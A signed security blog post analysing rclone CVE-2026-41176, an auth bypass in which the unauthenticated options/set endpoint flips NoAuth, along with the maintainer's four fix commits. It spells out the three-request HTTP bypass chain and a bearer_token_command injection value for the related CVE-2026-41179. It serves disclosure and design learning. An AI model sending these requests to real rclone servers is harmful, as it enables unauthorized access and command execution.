-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## The gate read NoAuth from a struct the gateless endpoint could write to\n\nPre-patch, `fs/rc/rcserver/rcserver.go` ran this block at the top of every RC request:\n\n```go\n// Check to see if it requires authorisation\nif !s.opt.NoAuth && call.AuthRequired && !s.server.UsingAuth() {\n writeError(path, in, w, fmt.Errorf(\"authentication must be set up on the rc server to use %q or the --rc-no-auth flag must be in use\", path), http.StatusForbidden)\n return\n}\n```\n\nThree booleans ANDed. The 403 fires only if all three are true.\n\n`!s.opt.NoAuth` reads the global no-auth toggle. If the server was started with `--rc-no-auth`, this is false and the gate short-circuits. The relevant detail is the deref: `s.opt` is a pointer to the `rc.Options` struct that was populated at startup. The struct is mutable. So is every field in it.\n\n`call.AuthRequired` reads a per-endpoint flag. The Call type is in `fs/rc/registry.go`:\n\n```go\ntype Call struct {\n Path string\n Fn Func `json:\"-\"`\n Title string\n AuthRequired bool // if set then this call requires authorisation to be set\n Help string\n NeedsRequest bool\n NeedsResponse bool\n}\n```\n\nThe zero value of a Go `bool` is `false`. Every endpoint registered through `rc.Add(Call{...})` starts at `AuthRequired: false`. Endpoints that need authentication opt in by writing `AuthRequired: true` explicitly in the registration literal.\n\n`!s.server.UsingAuth()` reads whether HTTP-level credentials are configured. If the operator passed `--rc-user`, `--rc-pass`, or `--rc-htpasswd`, this is false and the gate short-circuits. The bug is reachable only when none of those flags are set at startup. That is the default deployment shape for development `rclone rcd` instances and for any operator who runs rclone behind a reverse proxy that handles authentication at a different layer.\n\nThe three checks compose: the request is blocked if and only if (no global NoAuth) AND (this call opted in) AND (no HTTP creds). Flip any one and the gate doesn't fire.\n\n## options/set was registered without AuthRequired\n\n`fs/rc/config.go`, pre-patch, registered the endpoint:\n\n```go\nfunc init() {\n Add(Call{\n Path: \"options/set\",\n Fn: rcOptionsSet,\n Title: \"Set an option\",\n Help: `Parameters: ...`,\n })\n}\n```\n\nNo `AuthRequired: true`. The handler:\n\n```go\nfunc rcOptionsSet(ctx context.Context, in Params) (out Params, err error) {\n for name, options := range in {\n opt, ok := fs.OptionsRegistry[name]\n if !ok {\n return nil, fmt.Errorf(\"unknown option block %q\", name)\n }\n err := Reshape(opt.Opt, options)\n if err != nil {\n return nil, fmt.Errorf(\"failed to write options from block %q: %w\", name, err)\n }\n if opt.Reload != nil {\n err = opt.Reload(ctx)\n }\n }\n return out, nil\n}\n```\n\n`fs.OptionsRegistry` is a map from block name to `*fs.RegInfo`, where `Opt` is a pointer to the live struct backing that block. The `rc` block points at the same `rc.Options` value that lives behind `s.opt` on every Server. `Reshape(opt.Opt, options)` round-trips the JSON object through `mapstructure` and writes its fields onto the struct. Posting `{\"rc\":{\"NoAuth\":true}}` writes `true` to the same `NoAuth` field the auth gate reads on the next request.\n\nThe first check in the auth predicate was a pointer indirection into a writeable struct, and one of the registered writers of that struct was unauthenticated.\n\n## Three requests, the middle one is the bypass\n\nprojectdiscovery's nuclei template encodes the chain in three POSTs. The template is `http/cves/2026/CVE-2026-41176.yaml`, signed off as `tags: cve,cve2026,rclone,auth-bypass,rce,unauth,vkev`. The `vkev` tag is the catalog's marker that the CVE is on the CISA Known Exploited Vulnerabilities list.\n\nStep 1, prove the gate fires:\n\n```http\nPOST /config/listremotes HTTP/1.1\nHost: target:5572\nContent-Type: application/json\n\n{}\n```\n\nExpected: `403 Forbidden`. `config/listremotes` was registered with `AuthRequired: true`. The gate's three checks all evaluate true, the 403 returns.\n\nStep 2, flip the gate:\n\n```http\nPOST /options/set HTTP/1.1\nHost: target:5572\nContent-Type: application/json\n\n{\"rc\":{\"NoAuth\":true}}\n```\n\nExpected: `200 OK` with body `{}`. `options/set` was not registered with `AuthRequired: true`. The middle check in the predicate is false; the predicate is false; the handler runs. `Reshape(opt.Opt, options)` writes `true` to `s.opt.NoAuth`.\n\nStep 3, walk through the gate that no longer fires:\n\n```http\nPOST /config/listremotes HTTP/1.1\nHost: target:5572\nContent-Type: application/json\n\n{}\n```\n\nExpected: `200 OK` with the remotes list. The first check evaluates `!s.opt.NoAuth`, which is now `!true = false`. The expression short-circuits before the `AuthRequired` flag is even read. Every endpoint that had opted in is now reachable: `config/listremotes`, `config/dump`, `config/create`, `config/update`, `config/password`, `operations/list`, `operations/movefile`, `operations/copyfile`, `operations/delete`, `backend/command`, `core/command`, the entire administrative surface.\n\n`backend/command` and `core/command` execute named subcommands inside the rclone process. `config/create` writes credentials into the rclone config file with attacker-supplied keys. The bug is filed as auth bypass, CWE-306. The reachable surface includes code execution.\n\n## Four commits in seventeen minutes\n\nNick Craig-Wood landed the fixes on April 14, 2026, between 17:00 and 17:18 BST.\n\n**17:00:25, commit 06aa958ad6fd.** Title: *rc: add AuthRequired to options/set to prevent auth bypass CVE-2026-41176.*\n\n```diff\n func init() {\n Add(Call{\n- Path: \"options/set\",\n- Fn: rcOptionsSet,\n- Title: \"Set an option\",\n+ Path: \"options/set\",\n+ AuthRequired: true,\n+ Fn: rcOptionsSet,\n+ Title: \"Set an option\",\n```\n\nOne line. The narrowest possible fix. Closes the door named in GHSA-25qr-6mpr-f7qx.\n\n**17:01:18, commit 08490972a53e**, fifty-three seconds later. Title: *rc: snapshot NoAuth at startup to prevent runtime auth bypass CVE-2026-41176.*\n\n```diff\n type Server struct {\n ...\n opt *rc.Options\n+ noAuth bool // snapshot of opt.NoAuth at startup to prevent runtime mutation\n }\n\n func newServer(...) {\n ...\n+ noAuth: opt.NoAuth,\n }\n\n-if !s.opt.NoAuth && call.AuthRequired && !s.server.UsingAuth() {\n+if !s.noAuth && call.AuthRequired && !s.server.UsingAuth() {\n```\n\nThe gate stops reading from the mutable Options struct and reads from a `bool` frozen at server construction. From this commit forward, no runtime mutation of `rc.NoAuth`, by `options/set` or any other future writer, can flip the gate. Defense in depth. The first commit had already closed the only known door this could be reached through. The second commit was the maintainer asking what other doors he had not yet found, and answering by making the question moot.\n\n**17:08:55, commit 9e3e68d00c3e**, seven minutes later. Title: *operations: add AuthRequired to operations/fsinfo to prevent backend creation CVE-2026-41179.*\n\n```diff\n func init() {\n rc.Add(rc.Call{\n- Path: \"operations/fsinfo\",\n- Fn: rcFsInfo,\n- Title: \"Return information about the remote\",\n+ Path: \"operations/fsinfo\",\n+ AuthRequired: true,\n+ Fn: rcFsInfo,\n+ Title: \"Return information about the remote\",\n```\n\nSame shape as commit one. Different endpoint, different CVE. `operations/fsinfo` was the second endpoint that had been registered without `AuthRequired: true`, and the bug it produced was unauthenticated command execution: an attacker-supplied `fs=:webdav,url='http://x',vendor=other,bearer_token_command='id':` triggered backend instantiation, and the WebDAV backend runs `bearer_token_command` as a shell command at construction time. Same finder, 0wnerDied. Same root cause.\n\n**17:17:58, commit f191448b0dde**, nine minutes after the fsinfo patch. Title: *rc: flip auth default so all endpoints require auth unless opted out.* Twenty files, two hundred and twenty-one lines removed, one hundred and ninety-four added.\n\nThe Call struct is rewritten:\n\n```diff\n type Call struct {\n Path string\n Fn Func `json:\"-\"`\n Title string\n- AuthRequired bool // if set then this call requires authorisation to be set\n+ NoAuth bool // if set then this call does not require authentication\n Help string\n NeedsRequest bool\n NeedsResponse bool\n }\n```\n\nThe predicate is inverted:\n\n```diff\n-if !s.noAuth && call.AuthRequired && !s.server.UsingAuth() {\n+if !s.noAuth && !call.NoAuth && !s.server.UsingAuth() {\n```\n\nThe default state of `call.NoAuth` is `false`. Endpoints that need authentication now do nothing in their registration; the new default is gate-on. Endpoints that want to be reachable without authentication must add `NoAuth: true` explicitly.\n\nAcross the twenty files in the diff, roughly forty endpoints lose their `AuthRequired: true` lines (they inherit the new default and stay protected). Exactly fourteen endpoints opt out, listed line by line in the commit message:\n\n```\nrc/noop, rc/error, rc/list, core/version, core/stats, core/group-list,\ncore/transferred, core/du, cache/stats, vfs/list, vfs/stats, vfs/queue,\njob/status, job/list\n```\n\nAll fourteen are read-only diagnostics. Everything else, including any future endpoint added by any future contributor who forgets the flag, requires authentication.\n\nThe commit message contains the maintainer's own diagnosis:\n\n> Previously endpoints were unauthenticated by default and had to opt in with AuthRequired: true, which led to security vulnerabilities when developers forgot to set the flag.\n\nPlural. The footer cites two advisories: `GHSA-25qr-6mpr-f7qx, GHSA-jfwf-28xr-xw6q`.\n\n## Two CVEs from the same omission\n\n`options/set` and `operations/fsinfo` were registered, in different files, at different times, by different commit authors over the years. Both shared one property: nobody typed `AuthRequired: true` in the literal. The first produced CVE-2026-41176, unauthenticated configuration mutation and disclosure. The second produced CVE-2026-41179, unauthenticated command execution. Both were reported by the same researcher (0wnerDied) in the same coordinated disclosure window. Both were fixed in the same release, v1.73.5, on April 19, 2026.\n\nThis is the [design-debt-driver](/patterns/design-debt-driver) shape: a component whose architecture keeps producing the same bug class, where patches close instances and the design holds the primitive. The Call struct's `AuthRequired bool`, defaulting to false, is the substrate. Every endpoint registration is a chance to forget. The catalog already has the [Marimo](/posts/marimo-terminal-ws-only-websocket-without-the-check) version of this shape, where Starlette's WebSocket framework offered no decorator equivalent of `@requires(...)` and three handlers were authored over the years; the one that forked a shell was the one written without an explicit `validate_auth()` call. It already has the [OpenCode](/posts/opencode-cve-2026-22812-patched-the-cors-not-the-auth) version, where the HTTP server runs unauthenticated by default and the patch added a CORS allowlist instead of authentication, leaving the design intact. rclone's contribution to the pattern is the one where the maintainer caught it.\n\nBetween commit two (defense in depth on the existing CVE) and commit four (flip the default), nine minutes elapsed. Nine minutes is the window where Nick Craig-Wood patched `operations/fsinfo` the narrow way (commit three) and then stopped doing it the narrow way. The first three commits were what the advisories demanded. The fourth is what the codebase demanded. It is the only one of the four that closes the design.\n\nv1.45.0 shipped on November 24, 2018. The opt-in registration model was already the design. v1.73.5 shipped on April 19, 2026. Two thousand seven hundred and three days separate the design choice from its retirement. CVE-2026-41176 is the public record of one endpoint in that window. CVE-2026-41179 is the public record of a second. The fourth commit is what makes a third unnecessary.\n\nPoC: [projectdiscovery/nuclei-templates](https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-41176.yaml)","closing_line":"The first three commits were what the advisories demanded. The fourth was what the codebase demanded. Nine minutes separate them.","hook_md":"rclone's Remote Control (RC) server gates protected endpoints behind a per-call boolean named `AuthRequired`. The check at request time reads three values: was the server started with `--rc-no-auth`, did this call mark itself `AuthRequired: true`, and is HTTP authentication configured. The first of those values lived in a mutable options struct, and the endpoint whose entire job was to write that struct was registered without `AuthRequired`. An unauthenticated POST to `/options/set` could set `rc.NoAuth = true`, and from that point every endpoint that had opted into the gate stopped opting in.\n\nThe maintainer fixed it on April 14, 2026, in four commits over seventeen minutes. The first three fixed instances. The fourth admitted the design.","post_id":291,"slug":"rclone-cve-2026-41176-options-set-could-set-rc-noauth","title":"CVE-2026-41176: rclone's options/set Could Set rc.NoAuth. options/set Did Not Require Auth.","type":"initial","unreadable_sentence":"The first check in the auth predicate was a pointer indirection into a writeable struct, and one of the registered writers of that struct was unauthenticated."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCauDY5AAKCRDeZjl4jgkQ JiRSAQCe1qCuQD42bVr8tyDswJ18QTrAIyJMONGo7cEAOd0WJgD/f8hdzHWo2Wb2 ZPcjOEfWV5y5XDq/BB0bshGsoIo68wI= =u0Un -----END PGP SIGNATURE-----